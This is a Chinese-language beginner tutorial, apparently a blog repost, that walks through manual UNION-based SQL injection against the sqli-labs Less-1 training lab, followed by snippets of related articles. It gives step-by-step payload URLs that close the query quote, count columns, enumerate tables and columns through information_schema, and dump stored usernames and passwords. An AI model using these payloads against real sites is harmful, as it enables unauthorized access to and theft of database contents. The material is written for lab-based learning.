sql注入新手入门 从实战讲解SQL注入(手动注入+MySQL+靶场源码)

article/2025/10/12 4:20:43

资源放在下面,自取

https://blog.csdn.net/qq_45514735?spm=1011.2266.3001.5343

1、我们首先用小皮面板和sqli-labs靶场源码搭建一个环境

2、简单的注入讲解

打开第一关我们看看

        

 

1、寻找注入点

这里提示我们id参数有问题,尝试拼接url(其实第一关考验的就是get获取参数)

http://192.168.5.247/sqli-labs-master/Less-1/?id=1

 ok,界面返回账号密码,这说明网站对我们修改的数据做出回应了,但这是靶场设置的回显,实战环境当然不会有,在这里我们就可以怀疑参数id是不是一个注入点,接下来我们对他进行进一步测试

http://192.168.5.247/sqli-labs-master/Less-1/?id=1 union select 1 --+

         此处 

union:用于合并前后两个查询,要求字段相同

SQL UNION 操作符 | 菜鸟教程 (runoob.com)

select:数据库查询语句,1代表一个字段
因为没有后续查询,这玩意只会返回一个字段,内容为1
用来测试回显位置
--+:--代表了数据库的注释符,而‘+’在url中表示一个空格
因为我们输入的注入语句会作为sql语句的一部分拼接到正常的sql语句里面去
但是正常的参数后面跟着的查询会导致诸如语句出错,所以
--注释掉后面的会干扰注入语句的部分,提前闭合查询

但是却没有任何改变

 这是因为id=1的查询得到了结果,但是网站只返回第一个,所以我们要把id变成一个不存在的数

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1 union select 1 --

依然没有结果

 别急,继续构造select字段

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1 union select 1,2 --+

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1 union select 1,2,3 --+

 为社么还是没有结果呢,我们查看一下源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

代码中的sql语句id两边有单引号,但是我们的注入语句没有单引号,这样的话整个语句就被视为参数了,我们在id后加一个 ‘ 试试

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,2,3  --+

 ok。成功获得回显,经过测试

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,2,3,4.....  --+

select后的字段只有三个,超过三就会报错了

到这里我们就成功找到注入点了,并且找到了闭合语句的方法

        2、爆破数据库

基础讲解,MySQL数据库里有一个专门存放数据库内其他库的表和列名的库
我们通过查询这个库来获得我们所需要的信息table_name:表名column_name:列名table_schema:数据库名information_schema.columns:存储列明信息的表information_schema.schemata:存储数据库和表名信息的表mysql中的符号“.“表示下一级
如:information_schema.tables:这个数据库下的表

        (1)获取数据库名

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3  --+
这里将字段2替换为获取数据库名的方法
database():这是数据库自带的函数,显示当前正在使用的数据库

得到数据库名为:security

(2)获取本数据库下的所有表

构造语句

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()  --+

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()  --+

这里 

group_concat():作用为将查到的多个值拼接成一个字符串,将返回值一次性输出
table_name:这个是information_schema数据库中tables 存放所有表信息的表名字的字段
where table_schema=database():因为数据库中可能存在重名表,所以在这里添加一个条件,限定数据库名为当前数据库

成功

 (3)获取表里的字段名(列名)

有上一步得到数据库内有 emails,referers,uagents,users这几个库,咱们以users表为例

构造语句:

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()  --+

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()  --+

此处

column_name:是information_schema库中存放列名的表columns中的表示字段的列
where table_name='users' and table_schema='security':这里为防止重名。除了加上数据库条件外,还要加上表名条件,这样就能确定唯一的表字段

 成功将所有字段一次性爆出 id,username,password

(4)获取表里的数据 

构造语句

一次性获取所有值(适合小数据库)

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users  --+

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users  --+

每次获取一个值

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users limit 0,1  --+

http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users limit 0,1  --+

limit 0,1
表示从第0个开始,获取一个结果

ok,到此为止就获取到这个靶场的所有数据了,靶场搭建和资源一会上传

请关注我获取后续教程

https://blog.csdn.net/qq_45514735?spm=1019.2139.3001.5343

链接:https://pan.baidu.com/s/1P9rfYJAShM5I7MEwMR4FmA 
提取码:ttzj


http://chatgpt.dhexx.cn/article/ir6V4LbY.shtml

相关文章

sql注入基础

本文章仅供学习交流使用 一、数据库类型 1、Mysql基础语句及数据库注入语句 (1)基础语句: (数据库查询规则,需要逐步进入) 数据库A对应网站(第一步)show databases; 表名&#x…

SQL注入分析

趁着假期还没结束,写博客记录自己网络安全学习经历,也当记笔记方便以后复习。卷起来兄弟们! 1.安装抓包工具Burp Burp中文版安装教程 2.下载并配置phpstudy Pikachu安装教程 3.下载本地靶场Pikachu Pikachu安装教程 4.下载并配置火狐浏览…

BurpSuit官方实验室之SQL注入

BurpSuit官方实验室之SQL注入 这是BurpSuit官方的实验室靶场,以下将记录个人SQL注入共17个Lab的通关过程 Web Security Academy: Free Online Training from PortSwigger lab1: SQL injection vulnerability in WHERE clause allowing retrieval of …

SQL注入的常见方式

目录 联合查询(union)函数介绍order byunion select 操作 布尔盲注 (and or)函数介绍mid 从中间截取字符left 从左开始截取字符ord、ascii 转成ascii码length 统计长度andregexp 正则注入-针对MySQL 操作1. 猜数据库长度2. 猜数据…

PentesterLab靶场sql注入流程

环境安装 随便在网上找了个Pentester的靶场,结果是2013年的,那就从2013年的这个靶场开始学习 下载镜像的地址: https://pentesterlab.com/exercises/web_for_pentester_II/iso 正常找个虚拟机,进行iso的安装 安装完成后&…

SQL注入教程——(三)简单的注入尝试

本文将以简单的SQL注入实例来讲解SQL注入的基本思路与流程,当然本文实例只是注入的一种情况,初学者应重点理解思路,学会举一反三。 GET与POST 进行SQL注入攻击,大家还需要了解两种基本的 HTTP 请求方法:GET 和 POST。 在客户机和服务器之间进行请求-响应时,两种最常被…

DVWA通过攻略之SQL注入

目录 1.SQL Injection SQL注入2.实验演示2.1.low2.3.high2.4.impossible 3.sqlmap自动化注入3.1.low3.2.medium3.3.high 4.SQL注入(盲注)5.防范措施 1.SQL Injection SQL注入 SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据…

SQL注入及实战

SQL注入及实战 本文记录各种SQL注入类型的实操过程 SQL注入定义:由于程序中对用户输入检查不严格,用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection&#xff0…

web 漏洞入门之 —— SQL 注入教程

SQL 注入是最常见、最被人们熟知的 web 漏洞。根据百科的解释:所谓SQL注入,就是通过把SQL命令,插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 比如某个公司有一个员工管理系统&#…

SQL注入基础教程

注:本篇不讲关于sql-labs的搭建,如有需要请私信我,我将会出一期详细的配置教程 SQL注入基础教程 数据库的结构注释符SQL注入之基础注入 数据库的结构 在学习数据库之前,我们首先要了解数据库的结构。 一般数据库由三个部分组成&…

SQL 注入教程:通过示例学习

数据是信息系统最重要的组成部分之一。组织使用数据库驱动的 Web 应用程序从客户那里获取数据。SQL是结构化查询语言的首字母缩写。它用于检索和操作数据库中的数据。 什么是 SQL 注入? SQL 注入是一种攻击动态 SQL 语句以注释掉语句的某些部分或附加始终为真的条…

sql注入详解

目录 前言? ? 一、漏洞原因分析 二、漏洞危害 三、sql注入防范 四、如何挖掘sql注入漏洞 五、常见的注入手法 联合查询(union注入) 报错注入 基于布尔的盲注 基于时间的盲注 HTTP头注入 宽字节注入 堆叠查询 二阶注入 六、sql注入getshell的几种方式 前言 结…

SQL注入教程

目录 基础sql语法基础注释sql注入漏洞产生的条件 sql注入的分类基于从服务器收到的响应基于数据库种类基于如何处理输入的SQL查询(数据类型)参数位置注入方法注入流程 万能密码ACCESS注入流程判断方法注入实战 MSSQL注入流程默认数据库函数注入过程 MySql注入(重头戏…

SQL注入基本教程

注:只是自己学习记录,若有不对的地方请指出,文章有过一次修改,修改了关于order by函数的知识点 个人小站 SQL注入基本教程 数据库的结构注释符SQL注入简单教程 数据库的结构 学习SQL注入首先要知道数据库的结构 数据库由三个部分…

Sql注入的入门教程

Sql注入比较常见的漏洞之一,例用程序员的漏洞来进行无账号的登陆,篡改数据库。任何客户端可控,传参数到服务端的变量,和数据库交互,都有可能存在sql注入 原理 用户通过构造sql语句来模仿服务器发向服务器的语句&…

ImageJ 插入插件和基本教程

文章目录 前言一、ImageJ的下载二、ImageJ的安装三、给ImageJ添加自定义插件四、ImageJ闪退怎么办 前言 该软件是一个使用Java语音编写的图像处理和分析软件。ImageJ基于插件架构体系设计,可以通过编写插件对其功能进行扩展 一、ImageJ的下载 这款软件是完完全全免…

FIJI (ImageJ) 图像处理合集

1.更改伪彩颜色 ImageJ可以打开CAI格式,尼康的2084的原始格式等等。 将图片直接拖拽到imageJ软件上。 会弹出一个窗口 这个窗口就是告诉我们:关于这个图像的原始格式是否需要进行设置。通常使用默认的,点击Ok。 就可以打开这个图像 如果打…

ImageJ -介绍与安装

写在开头 ImageJ,一款免费却又极其强大的图像处理软件。百科 但很不幸的是,这款软件对于电脑小白而言,可能并不容易上手。 看一下这个软件的界面就知道了。 反正我第一打开的时候就直接想关掉,这些个 icon 根本不知道干嘛的好吧…

JS操作图片的利器:Jimp VS GM

前段时间,笔者有一个项目需求,需要在一张图片上面添加文件,并另存为一张新的图片。刚开始的时候,笔者使用的是大名鼎鼎的jimp。 。 其功能能满足我的要求,而且其license是MIT,不依赖于第三方的可执行程序…